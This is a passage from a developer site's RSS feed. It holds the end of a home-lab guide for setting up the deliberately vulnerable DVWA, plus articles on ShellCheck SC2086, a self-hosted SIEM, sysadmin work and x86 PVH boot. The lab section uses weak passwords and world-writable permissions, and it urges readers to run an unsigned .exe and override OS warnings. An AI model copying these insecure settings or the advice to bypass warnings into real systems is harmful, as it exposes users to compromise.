CREATE USER 'dwva'@'localhost' IDENTIFIED BY 'p@ssw0rd';&lt;br&gt;
GRANT ALL PRIVILEGES ON dwva.* TO 'dwva'@'localhost';&lt;br&gt;
FLUSH PRIVILEGES;&lt;/p&gt;
&lt;p&gt;SHOW DATABASES;&lt;br&gt;
USE dwva;&lt;br&gt;
SHOW TABLES;&lt;br&gt;
SELECT * FROM users;&lt;br&gt;
EXIT;&lt;/p&gt;
&lt;p&gt;Step 13: Installing DVWA (Vulnerable Web App)&lt;/p&gt;
&lt;p&gt;What is DVWA? A PHP/MySQL web app intentionally full of common vulnerabilities (SQL injection, XSS, weak passwords)—the standard practice target for Part 1's SQLmap and web enumeration commands.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Install the LAMP stack plus git:&lt;br&gt;
bash&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;sudo apt install -y apache2 \&lt;br&gt;
  mariadb-server php php-mysql \&lt;br&gt;
  php-gd libapache2-mod-php git&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Clone DVWA from GitHub into Apache's web root:&lt;br&gt;
bash&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;cd /var/www/html/&lt;br&gt;
sudo git clone &lt;a rel=&quot;nofollow&quot; href=&quot;https://github.com/digininja/DVWA.git&quot;&gt;https://github.com/digininja/DVWA.git&lt;/a&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Open permissions so DVWA can write its config:&lt;br&gt;
bash&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;sudo chmod -R 777 /var/www/html/DVWA/&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Copy the sample config and point it at your database:&lt;br&gt;
bash&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;cd /var/www/html/DVWA/config/&lt;br&gt;
sudo cp config.inc.php.dist config.inc.php&lt;br&gt;
sudo nano config.inc.php # db_user='dwva', db_password='p@ssw0rd'&lt;/p&gt;
&lt;p&gt;Access it: Open &lt;a rel=&quot;nofollow&quot; href=&quot;http://&amp;lt;Ubuntu-IP&amp;gt;/DVWA/setup.php&quot;&gt;http://&amp;lt;Ubuntu-IP&amp;gt;/DVWA/setup.php&lt;/a&gt; from Kali's browser. Default login is admin / password. Set the security level to &quot;low&quot; while you're first learning each attack.&lt;br&gt;
 Step 14: Monitoring &amp;amp; Apache Hardening&lt;/p&gt;
&lt;p&gt;Watching the target during an attack:&lt;br&gt;
bash&lt;/p&gt;
&lt;p&gt;top / htop                                              # live resource usage&lt;br&gt;
ss -tn state established '( sport = :80 )' | wc -l      # count HTTP connections&lt;br&gt;
sudo iftop -i enp0s3                                    # live network traffic&lt;br&gt;
sudo tail -f /var/log/apache2/access.log                # request log&lt;br&gt;
ps aux | grep apache                                    # process monitoring&lt;/p&gt;
&lt;p&gt;Hardening Apache:&lt;br&gt;
bash&lt;/p&gt;
&lt;p&gt;sudo a2enmod reqtimeout&lt;br&gt;
sudo a2enmod headers&lt;br&gt;
sudo systemctl restart apache2&lt;/p&gt;
&lt;p&gt;Sample hardening for /etc/apache2/apache2.conf:&lt;br&gt;
text&lt;/p&gt;
&lt;p&gt;Timeout 30&lt;br&gt;
MaxRequestWorkers 150&lt;br&gt;
KeepAliveTimeout 5&lt;/p&gt;
&lt;p&gt;Full circle: After you've successfully run a DoS test from Kali, come back here and apply these settings—then re-run the same attack and watch the difference in how long the server holds up.&lt;br&gt;
 End Of Lab&lt;/p&gt;
&lt;p&gt;Understanding bash commands is always the first and most important step. Ubuntu and Kali both have excellent documentation.&lt;/p&gt;
&lt;p&gt;If it feels overwhelming, you can download and run this binary tool that compiles and categorizes over 500 bash commands and their usage for free:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;https://github.com/toyosee/cyberref-releases/releases/tag/v0.2.0

Download and run the cyberref.exe—no installation needed, no internet needed.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This is a free tool for students, researchers, and a quick reference for professionals. Your OS might reject it at first; grant it access. It is harmless.&lt;br&gt;
 About Me&lt;/p&gt;
&lt;p&gt;I am a usual guy that likes technology. If you wish to know more about me, follow me:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;LinkedIn: www.linkedin.com/in/elijahbolaji/

GitHub: https://github.com/toyosee/

YouTube: https://www.youtube.com/@barterverse
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Need a Video Guide? If you want a step-by-step video guide, ask in the comment section.&lt;/p&gt;
</description>
<category>Articles</category>
<guid isPermaLink="true">https://coderlegion.com/29401/how-to-build-a-safe-isolated-cybersecurity-home-lab-kali-ubuntu</guid>
<pubDate>Thu, 01 Oct 2026 11:52:16 +0000</pubDate>
</item>
<item>
<title>ShellCheck rates SC2086 as info. It let rm delete two files I never named.</title>
<link>https://coderlegion.com/28019/shellcheck-rates-sc2086-as-info-it-let-rm-delete-two-files-i-never-named</link>
<description>&lt;p&gt;SC2086 sits at info, ShellCheck's lowest default severity, and fires on every unquoted &lt;code&gt;$var&lt;/code&gt;, so it is usually the first rule anyone disables. I built the smallest test I could: a directory holding &lt;code&gt;quarterly&lt;/code&gt;, &lt;code&gt;report.txt&lt;/code&gt; and &lt;code&gt;quarterly report.txt&lt;/code&gt;, and a four-line script under &lt;code&gt;set -euo pipefail&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;report=&quot;quarterly report.txt&quot;
rm $report
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;It deleted &lt;code&gt;quarterly&lt;/code&gt;. It deleted &lt;code&gt;report.txt&lt;/code&gt;. It left the one file it was asked to remove, and exited 0. rm was handed two names and both existed, so strict mode had nothing to catch.&lt;/p&gt;
&lt;p&gt;Bash expands the unquoted variable, splits the result on whitespace, globs any &lt;code&gt;*&lt;/code&gt; or &lt;code&gt;?&lt;/code&gt; against the current directory, and only then builds the argument list. &lt;code&gt;rm &quot;$report&quot;&lt;/code&gt; is one argument with no globbing, and it deletes the right file.&lt;/p&gt;
&lt;p&gt;The same bug hides in other shapes. &lt;code&gt;[ $name = &quot;root&quot; ]&lt;/code&gt; with an empty &lt;code&gt;$name&lt;/code&gt; gives &lt;code&gt;test&lt;/code&gt; two arguments: a complaint on stderr, a false condition, and the script keeps walking. &lt;code&gt;for f in $files&lt;/code&gt; is not flagged by ShellCheck 0.11.0 at all, and still breaks on the first name with a space.&lt;/p&gt;
&lt;p&gt;When you do want the split, such as a flag string read from a config, use an array or a one-line &lt;code&gt;# shellcheck disable=SC2086&lt;/code&gt; with the reason. A repo-wide &lt;code&gt;.shellcheckrc&lt;/code&gt; disable covers every future &lt;code&gt;rm&lt;/code&gt; as well. And &lt;code&gt;shellcheck --include=SC2086&lt;/code&gt; runs it alone as a CI gate.&lt;/p&gt;
&lt;p&gt;Every run, pasted from ShellCheck 0.11.0, is in the &lt;a rel=&quot;nofollow&quot; href=&quot;https://bashsnippets.xyz/shellcheck/sc2086&quot;&gt;SC2086 deep dive on word splitting and globbing&lt;/a&gt;.&lt;/p&gt;
</description>
<category>Articles</category>
<guid isPermaLink="true">https://coderlegion.com/28019/shellcheck-rates-sc2086-as-info-it-let-rm-delete-two-files-i-never-named</guid>
<pubDate>Tue, 29 Sep 2026 13:00:00 +0000</pubDate>
</item>
<item>
<title>Why Fail2ban Isn't Enough: Building CNSL, a Self-Hosted SIEM for Linux &amp; Kubernetes</title>
<link>https://coderlegion.com/28684/why-fail2ban-isnt-enough-building-cnsl-a-self-hosted-siem-for-linux-kubernetes</link>
<description>&lt;h2 id=&quot;why-fail2ban-isn-t-enough-building-cnsl-a-self-hosted-siem-for-linux-amp-kubernetes&quot;&gt;Why Fail2ban Isn't Enough: Building CNSL, a Self-Hosted SIEM for Linux &amp;amp; Kubernetes&lt;/h2&gt;
&lt;p&gt;If you manage Linux servers, your security stack probably looks something like this:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Fail2ban&lt;/strong&gt; scanning &lt;code&gt;/var/log/auth.log&lt;/code&gt; for failed SSH passwords.&lt;/li&gt;
&lt;li&gt;A reverse proxy or web server (NGINX / Caddy) writing HTTP access logs.&lt;/li&gt;
&lt;li&gt;A database (PostgreSQL / MySQL) logging authentication errors.&lt;/li&gt;
&lt;li&gt;A firewall (iptables / UFW) enforcing static port rules.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;On paper, this sounds like a layered defense. In practice, it has a glaring, dangerous architectural flaw: &lt;strong&gt;these tools operate in complete isolation.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Each tool watches a single log file and counts failures independently. And modern attackers know this.&lt;/p&gt;
&lt;p&gt;An attacker does not hammer your SSH port with 100 rapid-fire passwords anymore—that would trip Fail2ban within seconds. Instead, they scan your web endpoints for exposed &lt;code&gt;.env&lt;/code&gt; files, probe your database port for default passwords, and attempt just two SSH logins with leaked administrator credentials.&lt;/p&gt;
&lt;p&gt;To your web server, it was just a minor 404 error. To your database, it was a routine connection failure. To Fail2ban, two failed SSH logins are well below the threshold of 5.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Every single tool saw a harmless blip. In reality, your server was undergoing a coordinated, multi-stage breach.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;To eliminate this architectural blind spot, I built &lt;strong&gt;CNSL (Correlated Network Security Layer)&lt;/strong&gt;—a self-hosted, lightweight SIEM for Linux and Kubernetes that correlates attacks spanning web, SSH, database, and cloud logs simultaneously, stopping breaches before they complete.&lt;/p&gt;
&lt;p&gt;Here is the story of why I built it, how its cross-vector correlation engine works, and what it takes to design a modern defensive security layer from scratch.&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id=&quot;1-the-core-philosophy-cross-vector-correlation&quot;&gt;1. The Core Philosophy: Cross-Vector Correlation&lt;/h3&gt;
&lt;p&gt;The foundational principle behind CNSL is simple: &lt;strong&gt;No security event should ever be evaluated in a vacuum.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;When an IP address or actor touches your infrastructure, CNSL tracks their activity across every listening service simultaneously. Instead of waiting for a single service threshold to fire, CNSL computes a dynamic threat score across all vectors:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;Web scan (directory traversal)  from 45.33.32.1  --+
SSH brute attempt               from 45.33.32.1  --+---&amp;gt; HIGH Alert &amp;amp; Auto-Block
DB authentication failure       from 45.33.32.1  --+
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;When CNSL observes an actor combining reconnaissance with authentication probing across disparate services, the threat trajectory escalates immediately. &lt;/p&gt;
&lt;p&gt;The attacker is automatically banned at the firewall/iptables level or quarantined across the entire cluster—before they ever guess a password or exploit an unpatched service.&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id=&quot;2-kill-chain-progression-amp-predictive-blocking&quot;&gt;2. Kill-Chain Progression &amp;amp; Predictive Blocking&lt;/h3&gt;
&lt;p&gt;Traditional intrusion prevention systems (IPS) are reactive: they wait until a threshold is crossed before taking action.&lt;/p&gt;
&lt;p&gt;CNSL integrates &lt;strong&gt;Cyber Kill-Chain Tracking&lt;/strong&gt; modeled after the MITRE ATT&amp;amp;CK framework:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Reconnaissance:&lt;/strong&gt; Port probing, vulnerability scanning, spidering.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Weaponization &amp;amp; Delivery:&lt;/strong&gt; Testing malicious payloads, path traversal.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Exploitation &amp;amp; Initial Access:&lt;/strong&gt; Credential stuffing, brute-forcing, privilege escalation attempts.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Lateral Movement:&lt;/strong&gt; Probing internal service meshes, database exfiltration.&lt;/li&gt;
&lt;/ol&gt;
&lt;h4 id=&quot;predictive-trajectory-blocking&quot;&gt;Predictive Trajectory Blocking&lt;/h4&gt;
&lt;p&gt;Instead of waiting for an attacker to complete the exploitation phase, CNSL features opt-in &lt;strong&gt;Predictive Blocking&lt;/strong&gt;. &lt;/p&gt;
&lt;p&gt;By analyzing the &lt;em&gt;velocity&lt;/em&gt; and &lt;em&gt;breadth&lt;/em&gt; of an attack vector, the correlation engine calculates the statistical probability of an impending breach. If an IP rapidly transitions from passive web reconnaissance to active database auth probing, CNSL severs the connection proactively—reacting to the attack's trajectory before any single rule's threshold trips.&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id=&quot;3-beyond-ip-addresses-attacker-fingerprinting-amp-campaign-graphs&quot;&gt;3. Beyond IP Addresses: Attacker Fingerprinting &amp;amp; Campaign Graphs&lt;/h3&gt;
&lt;p&gt;Sophisticated threat actors do not use a single IP address. They utilize residential proxy networks, VPNs, and Tor exit nodes, rotating their source IP address between requests to evade IP-based rate limiters.&lt;/p&gt;
&lt;p&gt;If your security system only tracks IP addresses, you are playing an endless game of whack-a-mole.&lt;/p&gt;
&lt;p&gt;To counter IP rotation, CNSL incorporates &lt;strong&gt;Attacker Fingerprinting and Graph Correlation&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Behavioral Fingerprinting:&lt;/strong&gt; Tracks TLS cipher suites, TCP window signatures, request ordering, and user-agent entropy.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Graph-Based Campaign Correlation:&lt;/strong&gt; Connects seemingly disparate IP addresses attacking your servers into a unified attack campaign graph.&lt;/li&gt;
&lt;li&gt;When Actor X rotates from &lt;code&gt;IP_A&lt;/code&gt; to &lt;code&gt;IP_B&lt;/code&gt;, CNSL recognizes the behavioral fingerprint, associates the new IP with the existing threat entity, and immediately inherits the accumulated threat score.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h3 id=&quot;4-threat-intelligence-federation-built-in-stix-2-1-and-taxii-2-1&quot;&gt;4. Threat Intelligence Federation: Built-in STIX 2.1 and TAXII 2.1&lt;/h3&gt;
&lt;p&gt;Security should not be isolated to a single machine. When one node in your cluster discovers an aggressive threat actor, every other node should immediately know about it.&lt;/p&gt;
&lt;p&gt;Rather than relying on proprietary, vendor-locked sync protocols, CNSL natively implements global open threat intelligence standards:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;STIX 2.1 Export:&lt;/strong&gt; Converts detected threat actors, campaigns, and indicators of compromise (IOCs) into standardized STIX JSON objects.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Built-in TAXII 2.1 Server:&lt;/strong&gt; Runs a native TAXII endpoint directly inside CNSL. Other servers in your infrastructure (or peer organizations) can subscribe to your TAXII collections to ingest real-time threat intelligence.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Multi-Node Federation:&lt;/strong&gt; Allows multi-region VPS deployments or edge servers to pool threat intelligence without routing all traffic through a centralized, vulnerable bottleneck.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h3 id=&quot;5-from-single-vps-to-kubernetes-daemonset&quot;&gt;5. From Single VPS to Kubernetes DaemonSet&lt;/h3&gt;
&lt;p&gt;CNSL was designed to be lightweight enough to run on a $5/month VPS, yet cloud-native enough to protect modern containerized environments.&lt;/p&gt;
&lt;h4 id=&quot;running-on-a-single-linux-server&quot;&gt;Running on a Single Linux Server&lt;/h4&gt;
&lt;p&gt;CNSL can be installed directly with Python and pip:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;pip install cnsl[full]
sudo python -m cnsl --dashboard --no-tcpdump
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;By default, CNSL boots into safe &lt;strong&gt;dry-run mode&lt;/strong&gt;—it correlates events, populates the live dashboard, and logs detected campaigns without modifying firewall rules until you explicitly pass &lt;code&gt;--execute&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;The built-in web dashboard (running on port &lt;code&gt;8765&lt;/code&gt;) gives operators real-time visibility into active threats, geographic origins, attack kill-chain phases, and blocked IPs.&lt;/p&gt;
&lt;h4 id=&quot;running-on-kubernetes&quot;&gt;Running on Kubernetes&lt;/h4&gt;
&lt;p&gt;In modern Kubernetes clusters, attackers frequently compromise one container and attempt lateral movement toward neighbor pods or database secrets.&lt;/p&gt;
&lt;p&gt;CNSL provides an official Helm chart designed to run as a &lt;strong&gt;DaemonSet&lt;/strong&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;helm install cnsl ./helm/cnsl --namespace cnsl --create-namespace
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;One CNSL agent runs per Kubernetes node, monitoring container socket events, host logs, and ingress traffic, feeding telemetry into a unified multi-node Hub view.&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id=&quot;6-what-i-learned-building-a-siem-from-scratch&quot;&gt;6. What I Learned Building a SIEM from Scratch&lt;/h3&gt;
&lt;p&gt;Building a real-time correlation engine in Python and systems-level Linux tooling provided some invaluable engineering insights:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Log parsing is a performance minefield:&lt;/strong&gt; When a high-traffic server generates 10,000 log lines per second, regex matching can easily peg your CPU at 100%. Implementing ring buffers, compiled zero-allocation parsers, and asynchronous pipeline queues is mandatory to keep memory and CPU footprints negligible.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;False positives destroy credibility:&lt;/strong&gt; If a security tool accidentally bans an administrator or a legitimate customer, operators will turn it off immediately. Multi-vector correlation actually &lt;em&gt;reduces&lt;/em&gt; false positives because a user making a typo on a web form is never banned—only entities combining suspicious behavior across multiple services are flagged.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Open standards win every time:&lt;/strong&gt; Implementing STIX/TAXII and integrations with Wazuh/OSSEC meant CNSL could plug seamlessly into existing SOC workflows without requiring operators to reinvent their operational playbooks.&lt;/li&gt;
&lt;/ol&gt;
&lt;hr&gt;
&lt;h3 id=&quot;conclusion-take-back-control-of-your-server-security&quot;&gt;Conclusion: Take Back Control of Your Server Security&lt;/h3&gt;
&lt;p&gt;Enterprise SIEMs (like Splunk or Datadog) cost tens of thousands of dollars per year and consume massive amounts of memory. On the other end of the spectrum, single-log watchers like Fail2ban are too blind to stop multi-vector attacks.&lt;/p&gt;
&lt;p&gt;CNSL was built to bridge this gap: an open-source, self-hosted, correlated security engine that gives developers, self-hosters, and DevOps engineers enterprise-grade situational awareness with zero vendor lock-in.&lt;/p&gt;
&lt;p&gt;The entire project is open-source under the MIT license:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;GitHub Repository:&lt;/strong&gt; &lt;a rel=&quot;nofollow&quot; href=&quot;https://github.com/rahadbhuiya/cnsl&quot;&gt;https://github.com/rahadbhuiya/cnsl&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;PyPI Package:&lt;/strong&gt; &lt;a rel=&quot;nofollow&quot; href=&quot;https://pypi.org/project/cnsl&quot;&gt;https://pypi.org/project/cnsl&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Clone it, test it in dry-run mode on your servers, and let me know your thoughts!&lt;/p&gt;
&lt;p&gt;&lt;em&gt;How do you currently monitor and correlate security events across your Linux servers? Have you ever caught an attacker probing across multiple ports? Let's discuss in the comments below!&lt;/em&gt;&lt;/p&gt;
</description>
<category>Articles</category>
<guid isPermaLink="true">https://coderlegion.com/28684/why-fail2ban-isnt-enough-building-cnsl-a-self-hosted-siem-for-linux-kubernetes</guid>
<pubDate>Sat, 26 Sep 2026 04:39:36 +0000</pubDate>
</item>
<item>
<title>What a Linux Sysadmin Actually Does All Day (Spoiler: It's Not Just `sudo apt update`)</title>
<link>https://coderlegion.com/28624/what-a-linux-sysadmin-actually-does-all-day-spoiler-its-not-just-sudo-apt-update</link>
<description>&lt;p&gt;Somewhere out there is a job posting that describes a &quot;Linux System Administrator&quot; as someone who &quot;maintains servers.&quot; That description is technically true the way &quot;doctors deal with bodies&quot; is technically true. It tells you nothing, it undersells the job by an order of magnitude, and it's why half the people who land in this role are shocked, three weeks in, to discover they're now responsible for network routing, certificate rotation, backup verification, and being the calm voice at 3 a.m. when a disk fills up and takes production with it.&lt;/p&gt;
&lt;p&gt;Let's actually map the territory, without the job-posting euphemisms.&lt;/p&gt;
&lt;h3 id=&quot;everything-except-bending-the-metal&quot;&gt;Everything Except Bending the Metal&lt;/h3&gt;
&lt;p&gt;If it isn't literally designing server hardware, it's probably yours. The realistic scope of the role covers the entire operating system lifecycle — installation, configuration, patching, the accounts and permissions layered on top of all of it — plus every service that depends on that OS staying upright: web servers, databases, file storage, whatever the business actually makes money from. Add the network layer on top: interfaces, firewalls, routing at the host level, VPNs. Add backups, and not just &quot;having&quot; them — configuring them correctly, testing restores on a schedule instead of assuming they'll work when it actually matters, and snapshotting filesystems and databases before you're the reason someone needs them. Add security on top of all of that: access rights, certificates, vulnerability monitoring, log auditing, and standing between the box and whatever's currently trying to get into it.&lt;/p&gt;
&lt;p&gt;That's not a job description. That's five job descriptions wearing a trench coat, and the fact that it's usually billed as one role is either a testament to how capable good sysadmins are or a quiet admission that most companies would rather understaff this than budget for it properly. I'll let you guess which one it usually is.&lt;/p&gt;
&lt;h3 id=&quot;prevention-beats-heroics-every-single-time&quot;&gt;Prevention Beats Heroics, Every Single Time&lt;/h3&gt;
&lt;p&gt;The single most underrated skill in this job isn't fixing things fast. It's noticing them slowly enough in advance that &quot;fixing&quot; was never required.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Monitor before it's an emergency.&lt;/strong&gt; Zabbix and Prometheus exist to tell you a disk is filling up while you still have options, not after the pager goes off and options have narrowed to &quot;explain this in the incident channel.&quot; Prometheus's pull-based, time-series model has become the default assumption for anything running in Kubernetes, while Zabbix still earns its keep in more traditional, heterogeneous fleets where you need broad out-of-the-box coverage without writing your own exporters for everything. Neither is objectively &quot;better&quot; — they're solving slightly different shapes of the same problem, and plenty of shops run both without embarrassment.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Visualize, don't just collect.&lt;/strong&gt; Raw metrics are where good intentions go to die unread. Grafana turns a wall of numbers nobody checks into a dashboard people actually glance at on the way to their coffee, which is the entire difference between &quot;we had the data&quot; and &quot;we noticed the problem.&quot;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Automate the repetitive stuff before it automates a mistake into your fleet instead.&lt;/strong&gt; This is where the tooling landscape has genuinely shifted, and it's worth being current about it instead of reciting the same three names out of habit. Puppet and Chef both still exist — Chef now lives under Progress Software, Puppet under Perforce — and both remain entirely legitimate choices in shops that already standardized on their agent-based, declarative model years ago. But the gravitational centre of new automation work has moved decisively toward &lt;strong&gt;Ansible's&lt;/strong&gt; agentless, SSH-based approach, precisely because it doesn't require you to pre-install anything on a target before you can manage it. Centralizing configuration this way isn't about looking modern. It's about making sure the fifty servers behind you were actually configured the way you meant, instead of the way you remembered meaning it three deploys ago.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Document like someone else — possibly a more tired version of you — will have to clean up after this change at 2 a.m.&lt;/strong&gt; What changed, why, and what actually happened as a result. A wiki without an update discipline is just an elaborate way of lying to your future self, and version-controlling your configuration alongside that documentation is the difference between &quot;we can see exactly what changed&quot; and &quot;we're diffing memories.&quot;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Treat backups as a product, not a checkbox.&lt;/strong&gt; A backup job that's never been test-restored isn't a backup. It's a belief system, and belief systems have a terrible track record during actual outages.&lt;/p&gt;
&lt;h3 id=&quot;the-os-is-the-whole-foundation-so-know-what-you-re-standing-on&quot;&gt;The OS Is the Whole Foundation, So Know What You're Standing On&lt;/h3&gt;
&lt;p&gt;Everything above assumes a server operating system doing its actual job underneath: managing hardware resources, running services, handling networking, enforcing security boundaries and access separation. Get comfortable with the fact that which OS family you're standing on changes almost everything else about how you'll do this job.&lt;/p&gt;
&lt;h4 id=&quot;the-linux-families-and-what-actually-distinguishes-them&quot;&gt;The Linux Families, and What Actually Distinguishes Them&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;Debian-based&lt;/strong&gt; — Debian itself, Ubuntu, Mint. The reputation for stability and thorough documentation is earned, not marketing. Ubuntu Server in particular remains the default on-ramp for small and mid-sized shops precisely because the learning curve is forgiving and the community answer to almost any problem already exists somewhere.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;RHEL-based&lt;/strong&gt; — Red Hat Enterprise Linux, AlmaLinux, Rocky Linux, and CentOS, which deserves a specific note because its story isn't finished the way older tutorials imply. CentOS as the free, bit-for-bit downstream rebuild of RHEL is functionally gone — Red Hat shifted it to CentOS Stream, a rolling preview that sits &lt;em&gt;upstream&lt;/em&gt; of RHEL rather than mirroring it, and then tightened access to RHEL's own source in a way that made several downstream projects' lives noticeably harder. AlmaLinux and Rocky Linux exist specifically because that gap needed filling, and both have become the practical default wherever a shop needs RHEL-compatible stability without a RHEL support contract. This is still the corner of the Linux world enterprises reach for when &quot;boring and well-supported for a decade&quot; beats &quot;exciting.&quot;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Arch-based&lt;/strong&gt; — Arch Linux, Manjaro. The pitch here isn't convenience, it's comprehension: a rolling-release model and a famously minimal starting point that force you to understand what you're installing instead of inheriting someone else's defaults. Fewer production servers run it than you'd guess from how often it comes up in conversation, which tells you something honest about the gap between &quot;educational&quot; and &quot;operationally boring in the best way.&quot;&lt;/p&gt;
&lt;h4 id=&quot;unix-is-the-ancestor-not-a-competitor-wearing-a-costume&quot;&gt;Unix Is the Ancestor, Not a Competitor Wearing a Costume&lt;/h4&gt;
&lt;p&gt;FreeBSD and OpenBSD carry the Unix lineage forward as genuinely open, still-maintained systems — FreeBSD as a long-standing web-serving workhorse, OpenBSD as the option people reach for specifically when &quot;we obsess over security defaults&quot; needs to be true rather than aspirational, which is why it shows up disproportionately often inside routers and firewalls.&lt;/p&gt;
&lt;p&gt;The distinction that actually matters, though, isn't &quot;which is better.&quot; It's understanding that Linux isn't a Unix clone — it's an independent implementation built in the spirit of Unix's ideas and conventions: the filesystem model, process management, the permissions structure, the whole shape of working in a terminal. When someone says &quot;Linux and other Unix-like systems,&quot; that's not sloppy phrasing. That's the actual, accurate relationship.&lt;/p&gt;
&lt;h4 id=&quot;where-the-proprietary-options-still-fit&quot;&gt;Where the Proprietary Options Still Fit&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;Windows Server&lt;/strong&gt; remains the correct call the moment Active Directory, Exchange, or deep integration with the Microsoft stack is the actual requirement rather than a default nobody questioned. &lt;strong&gt;macOS&lt;/strong&gt;, meanwhile, quietly stopped being a distinct server product entirely — Apple folded macOS Server's functionality back into the base OS years ago, and what's left shows up almost exclusively inside small, Apple-native shops rather than anything resembling general-purpose server infrastructure. It also remains the one entry on this list you can't actually buy on its own — it comes bundled with the hardware, whether you wanted the bundle or not.&lt;/p&gt;
&lt;h3 id=&quot;why-this-is-still-worth-learning-bluntly&quot;&gt;Why This Is Still Worth Learning, Bluntly&lt;/h3&gt;
&lt;p&gt;If you're deciding whether Linux administration deserves real time investment, the honest case doesn't need embellishment. Depending on which measurement you trust, Linux runs somewhere between roughly half and the overwhelming majority of the world's servers, and among sites where the underlying OS can actually be identified, the Unix-family total — Linux very much included — sits comfortably above nine in ten. Virtually every top-1-million web server and every single one of the world's fastest supercomputers has been running it for years now, and every major public cloud treats Linux as the load-bearing default rather than a supported alternative.&lt;/p&gt;
&lt;p&gt;Beyond the numbers, the actual reasons to learn it hold up on their own merits: it scales cleanly from a five-dollar VPS to an entire data centre without switching mental models, the multi-user permissions architecture was security-conscious from its foundations rather than bolted on afterward, and — the reason I'd actually put first — it's the rare piece of foundational infrastructure you're genuinely allowed to open up and understand completely. You can read the source, modify the kernel, rebuild a component that annoys you, and nobody's licensing department is going to stop you. That's not a minor philosophical footnote. It's the entire reason this operating system family ended up running the internet instead of just participating in it.&lt;/p&gt;
</description>
<category>Articles</category>
<guid isPermaLink="true">https://coderlegion.com/28624/what-a-linux-sysadmin-actually-does-all-day-spoiler-its-not-just-sudo-apt-update</guid>
<pubDate>Fri, 25 Sep 2026 15:27:27 +0000</pubDate>
</item>
<item>
<title>Notes on x86 PVH boot</title>
<link>https://coderlegion.com/28620/notes-on-x86-pvh-boot</link>
<description>&lt;h3 id=&quot;motivation&quot;&gt;Motivation&lt;/h3&gt;
&lt;p&gt;My Rust KVM project now being able to boot Linux on ARM64, I decided to try and&lt;br&gt;
boot Linux on x86. I have been trying in the past to set up the boot procedure&lt;br&gt;
via &lt;code&gt;boot_params&lt;/code&gt; struct. At the time it was a lot more complex and now I wanted&lt;br&gt;
to have some result as soon as possible. So I turned to the PVH&lt;br&gt;
(Para-Virtualized Hardware) Linux boot which simplifies this process a lot. As&lt;br&gt;
a Xen Project protocol, PVH provides a relatively simple interface between a&lt;br&gt;
VMM and the Linux kernel, without requiring the VMM to reproduce the&lt;br&gt;
traditional firmware/bootloader path.&lt;/p&gt;
&lt;h3 id=&quot;entering-protected-mode-via-bios&quot;&gt;Entering protected mode via BIOS&lt;/h3&gt;
&lt;p&gt;The traditional way of booting an operating system on an x86 machine is to start&lt;br&gt;
in real mode and then proceed to protected mode. From there, if CPU is 64-bit,&lt;br&gt;
we can go to long mode. In the PVH Linux entry path, Linux performs the&lt;br&gt;
transition from the required 32-bit protected-mode entry state into 64-bit mode&lt;br&gt;
itself.&lt;/p&gt;
&lt;h4 id=&quot;setting-up-real-mode&quot;&gt;Setting up real mode&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;x86 starts at reset vector (physical address &lt;code&gt;0xFFFFFFF0&lt;/code&gt;)&lt;/li&gt;
